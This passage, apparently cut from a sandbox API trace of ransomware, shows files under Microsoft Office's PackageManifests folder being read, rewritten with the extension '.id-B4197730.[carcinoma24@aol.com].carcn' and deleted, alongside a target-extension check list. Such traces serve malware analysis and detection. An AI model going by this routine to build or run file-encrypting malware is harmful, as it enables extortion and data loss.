office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0181.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0181.644] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0181.644] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0181.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0181.644] GetLastError () returned 0x0 [0181.644] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x53d21, lpOverlapped=0x0) returned 1 [0181.684] WriteFile (in: hFile=0x304, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x53d30, lpOverlapped=0x0) returned 1 [0181.690] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0181.690] WriteFile (in: hFile=0x304, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0181.690] SetEndOfFile (hFile=0x304) returned 1 [0181.690] CloseHandle (hObject=0x304) returned 1 [0181.696] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0181.696] SetEndOfFile (hFile=0x364) returned 1 [0181.698] CloseHandle (hObject=0x364) returned 1 [0181.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0181.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0181.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0181.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0181.699] lstrlenW (lpString=".doc") returned 4 [0181.699] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.699] lstrlenW (lpString=".docx") returned 5 [0181.699] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.699] lstrlenW (lpString=".pdf") returned 4 [0181.699] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.699] lstrlenW (lpString=".xls") returned 4 [0181.699] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.699] lstrlenW (lpString=".xlsx") returned 5 [0181.699] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.699] lstrlenW (lpString=".ppt") returned 4 [0181.699] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0181.699] lstrlenW (lpString=".zip") returned 4 [0181.700] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.700] lstrlenW (lpString=".rar") returned 4 [0181.700] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.700] lstrlenW (lpString=".bz2") returned 4 [0181.700] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.700] lstrlenW (lpString=".7z") returned 3 [0181.700] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0181.700] lstrlenW (lpString=".dbf") returned 4 [0181.700] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0181.700] lstrlenW (lpString=".1cd") returned 4 [0181.700] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0181.700] lstrlenW (lpString=".jpg") returned 4 [0181.700] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0181.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0181.700] lstrlenW (lpString=".doc") returned 4 [0181.700] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.700] lstrlenW (lpString=".docx") returned 5 [0181.700] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.700] lstrlenW (lpString=".pdf") returned 4 [0181.700] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.700] lstrlenW (lpString=".xls") returned 4 [0181.700] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.700] lstrlenW (lpString=".xlsx") returned 5 [0181.700] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.700] lstrlenW (lpString=".ppt") returned 4 [0181.700] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0181.700] lstrlenW (lpString=".zip") returned 4 [0181.700] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.700] lstrlenW (lpString=".rar") returned 4 [0181.701] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.701] lstrlenW (lpString=".bz2") returned 4 [0181.701] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.701] lstrlenW (lpString=".7z") returned 3 [0181.701] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0181.701] lstrlenW (lpString=".dbf") returned 4 [0181.701] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0181.701] lstrlenW (lpString=".1cd") returned 4 [0181.701] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0181.701] lstrlenW (lpString=".jpg") returned 4 [0181.701] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.701] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.701] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53 [0181.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0181.701] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=14913) returned 1 [0181.701] CloseHandle (hObject=0x364) returned 1 [0181.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0181.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0181.702] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0181.702] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0181.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0181.853] GetLastError () returned 0x0 [0181.854] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x3a41, lpOverlapped=0x0) returned 1 [0181.883] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x3a50, lpOverlapped=0x0) returned 1 [0181.884] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0181.884] WriteFile (in: hFile=0x310, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0181.884] SetEndOfFile (hFile=0x310) returned 1 [0181.884] CloseHandle (hObject=0x310) returned 1 [0181.885] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0181.885] SetEndOfFile (hFile=0x364) returned 1 [0181.886] CloseHandle (hObject=0x364) returned 1 [0181.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0181.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1 [0181.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0181.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0181.887] lstrlenW (lpString=".doc") returned 4 [0181.887] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.887] lstrlenW (lpString=".docx") returned 5 [0181.887] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.887] lstrlenW (lpString=".pdf") returned 4 [0181.887] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.887] lstrlenW (lpString=".xls") returned 4 [0181.887] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.887] lstrlenW (lpString=".xlsx") returned 5 [0181.887] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.887] lstrlenW (lpString=".ppt") returned 4 [0181.887] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0181.887] lstrlenW (lpString=".zip") returned 4 [0181.887] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.887] lstrlenW (lpString=".rar") returned 4 [0181.887] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.887] lstrlenW (lpString=".bz2") returned 4 [0181.887] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.887] lstrlenW (lpString=".7z") returned 3 [0181.887] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0181.887] lstrlenW (lpString=".dbf") returned 4 [0181.887] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0181.887] lstrlenW (lpString=".1cd") returned 4 [0181.887] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0181.888] lstrlenW (lpString=".jpg") returned 4 [0181.888] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0181.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0181.888] lstrlenW (lpString=".doc") returned 4 [0181.888] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.888] lstrlenW (lpString=".docx") returned 5 [0181.888] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.888] lstrlenW (lpString=".pdf") returned 4 [0181.888] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.888] lstrlenW (lpString=".xls") returned 4 [0181.888] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.888] lstrlenW (lpString=".xlsx") returned 5 [0181.888] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.888] lstrlenW (lpString=".ppt") returned 4 [0181.888] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0181.888] lstrlenW (lpString=".zip") returned 4 [0181.888] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.888] lstrlenW (lpString=".rar") returned 4 [0181.888] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.888] lstrlenW (lpString=".bz2") returned 4 [0181.888] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.888] lstrlenW (lpString=".7z") returned 3 [0181.888] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0181.888] lstrlenW (lpString=".dbf") returned 4 [0181.888] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0181.888] lstrlenW (lpString=".1cd") returned 4 [0181.888] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0181.889] lstrlenW (lpString=".jpg") returned 4 [0181.889] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.889] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.889] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53 [0181.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.910] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=9216) returned 1 [0181.910] CloseHandle (hObject=0x388) returned 1 [0181.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0181.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0181.917] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0181.917] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0181.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0181.935] GetLastError () returned 0x0 [0181.935] ReadFile (in: hFile=0x31c, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x2400, lpOverlapped=0x0) returned 1 [0182.157] WriteFile (in: hFile=0x308, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x2410, lpOverlapped=0x0) returned 1 [0182.161] ReadFile (in: hFile=0x31c, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0182.161] WriteFile (in: hFile=0x308, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0182.161] SetEndOfFile (hFile=0x308) returned 1 [0182.161] CloseHandle (hObject=0x308) returned 1 [0182.162] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0182.162] SetEndOfFile (hFile=0x31c) returned 1 [0182.163] CloseHandle (hObject=0x31c) returned 1 [0182.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0182.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0182.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0182.163] lstrlenW (lpString=".doc") returned 4 [0182.164] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.164] lstrlenW (lpString=".docx") returned 5 [0182.164] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.164] lstrlenW (lpString=".pdf") returned 4 [0182.164] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.164] lstrlenW (lpString=".xls") returned 4 [0182.164] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.164] lstrlenW (lpString=".xlsx") returned 5 [0182.164] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.164] lstrlenW (lpString=".ppt") returned 4 [0182.164] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0182.164] lstrlenW (lpString=".zip") returned 4 [0182.164] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.164] lstrlenW (lpString=".rar") returned 4 [0182.164] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.164] lstrlenW (lpString=".bz2") returned 4 [0182.164] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.164] lstrlenW (lpString=".7z") returned 3 [0182.164] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0182.164] lstrlenW (lpString=".dbf") returned 4 [0182.164] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0182.164] lstrlenW (lpString=".1cd") returned 4 [0182.164] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0182.164] lstrlenW (lpString=".jpg") returned 4 [0182.165] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0182.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0182.165] lstrlenW (lpString=".doc") returned 4 [0182.165] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.165] lstrlenW (lpString=".docx") returned 5 [0182.165] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.165] lstrlenW (lpString=".pdf") returned 4 [0182.165] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.165] lstrlenW (lpString=".xls") returned 4 [0182.165] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.165] lstrlenW (lpString=".xlsx") returned 5 [0182.165] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.165] lstrlenW (lpString=".ppt") returned 4 [0182.165] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0182.165] lstrlenW (lpString=".zip") returned 4 [0182.165] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.165] lstrlenW (lpString=".rar") returned 4 [0182.165] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.165] lstrlenW (lpString=".bz2") returned 4 [0182.165] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.165] lstrlenW (lpString=".7z") returned 3 [0182.165] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0182.165] lstrlenW (lpString=".dbf") returned 4 [0182.165] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0182.165] lstrlenW (lpString=".1cd") returned 4 [0182.165] lstrcmpiW 